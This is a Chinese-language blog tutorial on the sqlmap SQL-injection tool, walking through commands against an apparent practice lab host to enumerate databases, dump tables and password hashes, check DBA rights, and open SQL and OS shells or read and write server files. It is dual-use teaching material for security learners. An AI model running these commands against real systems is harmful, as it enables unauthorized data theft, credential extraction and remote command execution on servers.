sqlmap使用图解


1.sqlmap介绍

💪💪 SQLMap是一个自动化的SOL注入工具,其主要功能是扫描、发现并利用给定URLSQL注入漏洞,内置了根多绕过插件,支持的数据库有MySOL、Microsoft Access、IBM DB2、SQLite、Firebird、PostgreSQL、Microsoft SQL Server.SybaseSAPMaxDB。SQLMap采用了以下5种独特的SQL注入技术。

  • 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
  • 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。
  • 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
  • 联合查询注入,在可以使用Union的情况下的注入。
  • 堆查询注入,可以同时执行多条语句时的注入。

💎💎 SQLMap的强大的功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。SQLMap的功能强大到让人惊叹,当常规的注入工具不能利用SQL注入漏洞进行注入时,使用SQLMap会有意想不到的效果。

2. sqlmap基础

2.1.打开sqlmap

直接输入sqlmap,这里我使用kali演示

sqlmap下载
在这里插入图片描述
**由于有许多人没有sql环境,我这里以真实靶场为例,靶场地址,⚠️⚠️不同人注册后靶场地址不同,注意区分,

在这里插入图片描述

点击后进入如下目录

在这里插入图片描述

这里我们只讨论sqlmap的使用,不考虑解题过程

2.2.判断是否存在注入

sqlmap -u 网址;(当网址后面的参数大于两个的时候,网址要加上英语双引号)

有些使用sqlmap.py,及把sqlmap换成sqlmap.py,不同sqlmap不同

在这里插入图片描述

2.3.判断文件是否存在注入:

sqlmap -r 文件名(文件名要有正确的路径)
在这里我们可以使用sqlmap进行抓包,然后进行验证

在这里插入图片描述

在这里插入图片描述

2.4.查询当前数据库下的所有数据库

sqlmap -u 网址 --dbs

在这里插入图片描述
在这里插入图片描述

在这里我们看到了5个数据库,进入mysql进行测试

2.5.获取数据库中的表名

sqlmap -u 网址 -D 数据库 --tables
在这里插入图片描述
在这里插入图片描述

可以看到mysql数据库下面有多个表,进入user表下面看看

2.6.获取表中的字段名

sqlmap -u 网址 -D 数据库 -T 表名 --columns

在这里插入图片描述
在这里插入图片描述

可以看到user表下面有多个字段,其中包含敏感字段password,我们可以试一下窃取password

2.7.获取字段类容

sqlmap -u 网址 -D 数据库 -T 表名 -C 字段名 --dump
在这里插入图片描述
在这里插入图片描述
如上图所示,可以看到用户名和密码

2.8.获取数据库的所有用户

sqlmap -u 网址 --users
在这里插入图片描述
在这里插入图片描述

2.9.获取数据库密码

sqlmap -u 网址 --passwords

在这里插入图片描述
在这里插入图片描述

2.10.获取当前数据库网站的名称>

sqlmap -u 网址 --current-db

在这里插入图片描述

其实我们在进行扫描的时候还可能得到其他重要的信息,比如语言版本,数据库版本,因为有些数据没有进行更新,存在一定的漏洞,如下:

在这里插入图片描述

2.11.获取当前网站数据库用户名称

sqlmap -u 网址 --current-user

在这里插入图片描述

3.sqlmap进阶

3.1参数

3.1.1 --level 等级

一共有五个等级(1~5),当然探测等级越高,使用的时间越久,这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookies在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试
不确定哪个Payload或参数为注入点时,为了保证全面性,建议使用高的level值。
sqlmap -u http://124.70.71.251:41123/new_list.php?id=1 --level 2

在这里插入图片描述

3.1.2 --is-dba

查看当前用户是否为管理员权限
sqlmap -u http://124.70.71.251:41123/new_list.php?id=1 --is-dba

在这里插入图片描述

3.1.3 --roles

列出数据库管理员角色: sqlmap -u http://124.70.71.251:41123/new_list.php?id=1 --roles

  • 该命令用于查看数据库用户的角色。如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,也可以用-U参数指定想看哪个用户的角色。该命令仅适用于当前数据库是Oracle的时候

在这里插入图片描述

3.1.4 --referer

查看数据库用户的角色: sqlmap -u http://124.70.71.251:41123/new_list.php?id=1 --referer https://www.baidu.com

  • SQLMap可以在请求中伪造HTTP中的referer,
    当–level参数设定为3或3以上时;
    会尝试对referer注入。可以使用referer命令来欺骗

3.1.5 --sql-shell

执行指定的sql语句:select * from user sqlmap -u http://124.70.71.251:41123/new_list.php?id=1 --sql-shell

在这里插入图片描述

3.1.6 --os-cmd,--os-shell

在数据库为MySOL、PostgreSOL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,如果数据库为MySQL、PostgreSQL,SQLMap上传一个二进制库,包含用户自定义的函数sys exec)和sys eval,那么创建的这两个函数就可以执行系统命令。在Microsoft SQL Server中,SQLMap将使用xp cmdshell存储过程,如果被禁用(在MicrosoftSQLServer2005及以上版本默认被禁制),则SQLMap会重新启用它;如果不存在,会自动创建。
用–os-shell参数可以模拟一个真实的Shell,输入想执行的命令。当不能执行多语句时(比如PHP或ASP的后端数据库为MySQL),仍然可以使用INTO OUTFILE写进可写目录,创建一个Web后门。–os-shell支持ASP、ASP.NET、JSP和PHP四种语言(要想执行改参数,需要有数据库管理员权限,也就是–is-dba的值要为True)。

3.1.7 --file-read

该命令用于读取执行文件,当数据库为MySQL、PostgreSQL或Microsoft SQLServer,并且当前用户有权限使用特定的函数时

3.1.8 --file-write --file-dest

该命令用于写入本地文件到服务器中,当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件。下面以一个MySQL的例子复习–file-write–file-dest参数的用法。

3.2绕过

由于小编现在技术有限,绕过方法以后跟新,想要看后续的,可以关注一下博主哦

  • 2
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

安全天天学

你的鼓励是对我最大的鼓励

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值